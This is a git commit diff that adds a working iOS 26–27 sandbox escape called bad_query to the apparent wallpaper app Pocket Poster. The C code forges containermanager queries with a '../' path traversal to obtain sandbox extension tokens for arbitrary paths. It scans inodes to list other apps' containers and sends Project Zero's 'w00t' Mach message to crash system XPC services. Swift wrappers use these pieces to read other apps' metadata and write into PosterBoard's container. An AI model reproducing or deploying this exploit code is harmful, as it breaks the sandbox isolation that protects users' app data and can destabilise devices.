Add bad_query support for iOS 26–27.0b4

Integrate forcequitOS/bad_query for sandbox-escaped PosterBoard
writes, on-device container UUID detection (no PC/Nugget required),
descriptor wipe for Reset Collections, and Mond-style WebKit
respring that works under LiveContainer.

Rebrand fork to com.mak5er.Pocket-Poster; credit Mak5er.
This commit is contained in:
Mak5er committed 2026-08-11 05:21:59 +03:00
1 parent fb07aa4558
commit 18a67ec171
21 files changed
+1223 -102

No files matched your search

+282
View File
@@ -0,0 +1,282 @@
//
// BadQuery.swift
// Pocket Poster
//
// Swift wrapper around forcequitOS/bad_query sandbox escape
// (container_query path traversal via MobileGestalt SystemGroup).
// Supports iOS 26.0 – 26.6.1 / 27.0b4+.
//
import Foundation
enum BadQueryError: LocalizedError {
case invalidPath
case missingPath
case resolveFailed
case createFailed
case outsideSandbox
case kernelRejected
case asprintfFailed
case unknown(Int64)
case listFailed
case containerNotFound(String)
var errorDescription: String? {
switch self {
case .invalidPath:
return "Path must be absolute."
case .missingPath:
return "Target path does not exist."
case .resolveFailed:
return "Failed to resolve containermanager symbols."
case .createFailed:
return "Failed to create container query."
case .outsideSandbox:
return "Path is outside containermanager sandbox."
case .kernelRejected:
return "Kernel refused to issue a sandbox extension."
case .asprintfFailed:
return "Failed to build path traversal string."
case .unknown(let code):
return "bad_query failed with code \(code)."
case .listFailed:
return "Failed to enumerate containers (fsgetpath)."
case .containerNotFound(let bundleId):
return "Could not find container for \(bundleId)."
}
}
static func from(code: Int64) -> BadQueryError {
switch code {
case -255: return .invalidPath
case -254: return .missingPath
case -1: return .resolveFailed
case -2: return .createFailed
case -3: return .outsideSandbox
case -4: return .kernelRejected
case -5: return .asprintfFailed
default: return .unknown(code)
}
}
}
/// RAII-style sandbox extension handle.
final class BadQueryHandle {
private(set) var handle: Int64
let path: String
init(handle: Int64, path: String) {
self.handle = handle
self.path = path
}
deinit {
release()
}
func release() {
guard handle >= 0 else { return }
bad_query_release(handle)
handle = -1
}
}
enum BadQuery {
/// PosterBoard / related bundle identifiers.
static let posterBoardBundleId = "com.apple.PosterBoard"
static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper"
// MARK: - Availability
/// True when the MobileGestalt system-group query route resolves symbols.
/// Cheap probe: only checks dlsym path by attempting a known-existing system path with create=true.
static var isAvailable: Bool {
// Probe with a path that should always exist on device; create=true skips lstat
// so we only fail if symbols/query plumbing is broken (patched OS).
let probe = "/var/mobile"
var cPath = probe.utf8CString.map { Int8($0) }
let result = bad_query(&cPath, true, nil, false)
if result >= 0 {
bad_query_release(result)
return true
}
// -3/-4 mean query ran but path/token failed; symbols still work
if result == -3 || result == -4 || result == -254 {
return true
}
// -1/-2 = symbols/query broken
return result != -1 && result != -2
}
// MARK: - Consume / Release
/// Obtain a sandbox extension for an absolute path.
/// - Parameters:
/// - path: Absolute filesystem path
/// - create: If true, skip existence check (use when lstat is blocked by sandbox)
/// - groupIdentifier: Optional app group; nil uses MobileGestalt SystemGroup (iOS 27 preferred)
/// - isGroup: iOS 26 App Group flag route
@discardableResult
static func consume(
path: String,
create: Bool = false,
groupIdentifier: String? = nil,
isGroup: Bool = false
) throws -> BadQueryHandle {
guard path.hasPrefix("/") else { throw BadQueryError.invalidPath }
var cPath = path.utf8CString.map { Int8($0) }
let handle: Int64
if let group = groupIdentifier {
var cGroup = group.utf8CString.map { Int8($0) }
handle = bad_query(&cPath, create, &cGroup, isGroup)
} else {
handle = bad_query(&cPath, create, nil, isGroup)
}
guard handle >= 0 else {
// Retry with create=true if existence check failed under sandbox
if !create && handle == -254 {
return try consume(path: path, create: true, groupIdentifier: groupIdentifier, isGroup: isGroup)
}
throw BadQueryError.from(code: handle)
}
return BadQueryHandle(handle: handle, path: path)
}
// MARK: - Listing
/// Enumerate immediate children under `path` via fsgetpath inode scan.
static func list(path: String, maxInode: Int64 = 2_000_000) throws -> [String] {
var cPath = path.utf8CString.map { Int8($0) }
guard let raw = bad_query_list(&cPath, maxInode) else {
throw BadQueryError.listFailed
}
defer { free(raw) }
let str = String(cString: raw)
return str
.split(whereSeparator: \.isNewline)
.map(String.init)
.filter { !$0.isEmpty }
}
// MARK: - Container discovery
private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist"
/// Read MCMMetadataIdentifier from a container root, using bad_query for access.
static func readBundleId(fromContainerPath containerPath: String) -> String? {
let metaPath = (containerPath as NSString).appendingPathComponent(metadataFileName)
guard let token = try? consume(path: metaPath, create: true) else { return nil }
defer { token.release() }
guard let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any] else {
// Some layouts use a non-hidden name
let alt = (containerPath as NSString).appendingPathComponent("com.apple.mobile_container_manager.metadata.plist")
if let altToken = try? consume(path: alt, create: true) {
defer { altToken.release() }
if let d = NSDictionary(contentsOfFile: alt) as? [String: Any] {
return d["MCMMetadataIdentifier"] as? String
}
}
return nil
}
return dict["MCMMetadataIdentifier"] as? String
}
/// Find application container UUID for a bundle identifier (on-device, no PC).
static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String {
let roots = searchRoots ?? [
"/var/mobile/Containers/Data/Application",
"/var/mobile/Containers/Data/InternalDaemon",
"/var/mobile/Containers/Data/PluginKitPlugin"
]
for root in roots {
let children: [String]
do {
children = try list(path: root)
} catch {
continue
}
for child in children {
let uuid = (child as NSString).lastPathComponent
// Normalize to the root we know
let containerPath = "\(root)/\(uuid)"
if let id = readBundleId(fromContainerPath: containerPath), id == targetBundleId {
return uuid
}
}
}
throw BadQueryError.containerNotFound(targetBundleId)
}
static func findPosterBoardHash() throws -> String {
try findAppHash(bundleId: posterBoardBundleId)
}
static func findCarPlayHash() throws -> String {
try findAppHash(bundleId: carPlayWallpaperBundleId)
}
// MARK: - Path helpers
static func applicationContainerPath(appHash: String) -> String {
"/var/mobile/Containers/Data/Application/\(appHash)"
}
static func descriptorsPath(appHash: String, ext: String) -> String {
let ver = SymHandler.getExtensionVersion()
return applicationContainerPath(appHash: appHash)
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions/\(ext)/descriptors"
}
static func carPlayCachePath(appHash: String) -> String {
applicationContainerPath(appHash: appHash)
+ "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
}
// MARK: - File ops under extension
/// Copy a directory or file into `destinationDirectory` (must already be accessible via handle).
static func copyItem(at source: URL, intoDestinationDirectory destDir: String, named name: String? = nil) throws {
let destName = name ?? source.lastPathComponent
let destURL = URL(fileURLWithPath: destDir).appendingPathComponent(destName)
let fm = FileManager.default
if fm.fileExists(atPath: destURL.path) {
try fm.removeItem(at: destURL)
}
try fm.copyItem(at: source, to: destURL)
}
/// Ensure a directory exists at path while holding a parent extension if needed.
static func ensureDirectory(at path: String) throws {
let fm = FileManager.default
if fm.fileExists(atPath: path) { return }
// Walk up to find an existing ancestor we can open, then create intermediates
let components = path.split(separator: "/").map(String.init)
var built = ""
var lastExisting = ""
for part in components {
built += "/" + part
if fm.fileExists(atPath: built) {
lastExisting = built
}
}
if lastExisting.isEmpty {
// Get extension on the full path with create=true and mkdir
let handle = try consume(path: path, create: true)
defer { handle.release() }
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
return
}
let handle = try consume(path: lastExisting, create: true)
defer { handle.release() }
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
}
}
@@ -0,0 +1,9 @@
//
// Pocket-Poster-Bridging-Header.h
// Pocket Poster
//
// Exposes C exploit helpers to Swift.
//
#import "bad_query.h"
#import "xpc_crash.h"
+183
View File
@@ -0,0 +1,183 @@
//
// bad_query.c
// bad_query
//
// Created by Taj C on 7/21/26.
//
#include "bad_query.h"
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/stat.h>
#include <xpc/xpc.h>
#include <sys/mount.h>
#include <sys/fsgetpath.h>
typedef void *(*container_query_create_fn)(void);
typedef void (*container_query_set_class_fn)(void *, uint64_t);
typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t);
typedef void (*container_query_set_flags_fn)(void *, uint64_t);
typedef void (*container_query_set_part_fn)(void *, uint64_t);
typedef void (*container_query_set_part_domain_fn)(void *, const char *);
typedef void *(*container_query_get_single_result_fn)(void *);
typedef void (*container_query_free_fn)(void *);
typedef char *(*container_copy_sandbox_token_fn)(void *);
typedef int64_t (*sandbox_extension_consume_fn)(const char *);
typedef int (*sandbox_extension_release_fn)(int64_t);
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group) {
// Sanity check our path and check if something already exists there
if (!path || path[0] != '/') return -255; // Not an absolute path
if (!create) {
struct stat st;
if (lstat(path, &st) != 0) return -254; // File is missing, so we'll return
}
// Now the fun begins
void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
if (!mgr) return -1; // Failed to dlopen
// Resolve functions
container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain");
container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
int64_t handle = -1;
if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_set_part_domain || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) {
dlclose(mgr);
return -1; // Failed to resolve a function
}
// Create query
void *query = query_create();
if (!query) {
dlclose(mgr);
return -2; // Failed to create query
}
// Set up query
// Two routes here, supply an App Group you control (to access other App Groups on iOS 26) or don't, and use MobileGestalt's SystemGroup as a target instead. If targeting iOS 26 and trying to access App Groups, also set is_group to true to use the correct flags.
xpc_object_t identifier;
if (group_identifier == NULL) {
query_set_class(query, 13); // Class 13 (MCMSharedSystemDataContainer) routes to containermanagerd_system
identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache");
} else {
query_set_class(query, 7); // Class 7 (MCMSharedDataContainer) routes to containermanagerd
identifier = xpc_string_create(group_identifier);
}
query_set_group_identifiers(query, identifier);
query_set_part(query, 3); // Part determines our starting point, part 3 is Library/Caches
char *part = NULL;
// Oldest trick in the book. Basic path traversal.
if (group_identifier == NULL) {
if (asprintf(&part, "../../../../../../../..%s", path) != -1) {
query_set_part_domain(query, part);
} else {
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -5; // asprintf failed for some reason
}
} else {
// We have to go one level higher to get to / from an App Group
if (asprintf(&part, "../../../../../../../../..%s", path) != -1) {
query_set_part_domain(query, part);
} else {
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -5; // Same thing
}
}
// To access App Groups on iOS 26, you have to use different flags, this doesn't apply on 27
if (is_group) {
query_set_flags(query, 0x0000000800000000ULL);
} else {
query_set_flags(query, 0x0000008000000000ULL);
}
// Send our query over
void *result = query_get_single_result(query);
if (!result) {
free(part);
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -3; // Outside of sandbox
}
char *token = copy_sandbox_token(result);
if (!token) {
free(part);
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -4; // Kernel refused to issue a sandbox extension
}
// Consume our fresh sandbox extension and clean up
handle = consume_extension(token);
free(token);
free(part);
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return handle;
}
void bad_query_release(int64_t handle) {
if (handle < 0) return;
sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release");
if (release_extension) release_extension(handle);
}
// This still works on 27.0b5
// I'm including it here because it's very useful in the context of this sandbox escape, which can't access parent directories (most of the time)
// This enumerates all directories in a given path, so you can, for example, get all container UUIDs, read their container metadata to get their bundle ID, and derive that entirely on-device without a computer
char *bad_query_list(char *path, int64_t max_inode) {
struct statfs sfs;
// Prefer the target path; fall back to known on-volume roots if sandboxed
if (statfs(path, &sfs) != 0) {
if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) {
return NULL;
}
}
fsid_t fsid = sfs.f_fsid;
size_t cap = 65536;
size_t length = 0;
size_t path_length = strlen(path);
char *out = malloc(cap);
if (!out) return NULL;
out[0] = '\0';
char buf[1200];
for (uint64_t ino = 1; ino <= max_inode; ino++) {
ssize_t n = fsgetpath(buf, sizeof(buf), &fsid, ino);
if (n <= 0) continue;
const char *p = buf;
if (strncmp(p, "/private/var/", 13) == 0) p += 8;
if (strncmp(p, path, path_length) != 0 || p[path_length] != '/') continue;
if (strchr(p + path_length + 1, '/')) continue;
size_t need = strlen(p) + 2;
if (length + need > cap) { cap *= 2; char *t = realloc(out, cap); if (!t) break; out = t; }
length += snprintf(out + length, cap - length, "%s\n", p);
}
return out;
}
+18
View File
@@ -0,0 +1,18 @@
//
// bad_query.h
// bad_query
//
// Created by Taj C on 7/21/26.
//
#ifndef bad_query_h
#define bad_query_h
#include <stdio.h>
#include <stdbool.h>
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group);
char *bad_query_list(char *path, int64_t max_inode);
void bad_query_release(int64_t handle);
#endif /* bad_query_h */
+110
View File
@@ -0,0 +1,110 @@
//
// xpc_crash.c
// Pocket Poster
//
// Ported from Cowabunga / TrollTools helpers.m
// (xpc w00t technique: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html)
//
#include "xpc_crash.h"
#include <string.h>
#include <mach/mach.h>
#include <mach-o/dyld.h>
// bootstrap_look_up is in libsystem_kernel / libxpc but not always in public headers
extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp);
extern mach_port_t bootstrap_port;
struct xpc_w00t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
static mach_port_t get_send_once(mach_port_t recv) {
mach_port_t so = MACH_PORT_NULL;
mach_msg_type_name_t type = 0;
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
if (err != KERN_SUCCESS) {
return MACH_PORT_NULL;
}
return so;
}
void xpc_crasher(char *service_name) {
mach_port_t client_port = MACH_PORT_NULL;
mach_port_t reply_port = MACH_PORT_NULL;
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if (err != KERN_SUCCESS) {
printf("xpc_crasher: unable to look up %s\n", service_name);
return;
}
if (service_port == MACH_PORT_NULL) {
printf("xpc_crasher: bad service port for %s\n", service_name);
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
if (err != KERN_SUCCESS) {
return;
}
mach_port_t so0 = get_send_once(client_port);
mach_port_t so1 = get_send_once(client_port);
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
return;
}
struct xpc_w00t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("xpc_crasher: w00t send failed for %s: %s\n", service_name, mach_error_string(err));
} else {
printf("xpc_crasher: sent w00t to %s\n", service_name);
}
if (so0 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so0);
if (so1 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so1);
}
void restartBackboard(void) {
xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer");
}
void restartFrontboard(void) {
// May not kill the calling app on some versions — caller should exit(0) after.
xpc_crasher("com.apple.frontboard.systemappservices");
}
+22
View File
@@ -0,0 +1,22 @@
//
// xpc_crash.h
// Pocket Poster
//
// Userspace respring helpers (from Cowabunga / Project Zero xpc w00t).
//
#ifndef xpc_crash_h
#define xpc_crash_h
#include <stdio.h>
/// Crash an XPC service by name (triggers relaunch of the hosting process).
void xpc_crasher(char *service_name);
/// Respring via crashing com.apple.backboard.TouchDeliveryPolicyServer
void restartBackboard(void);
/// Respring via crashing com.apple.frontboard.systemappservices
void restartFrontboard(void);
#endif /* xpc_crash_h */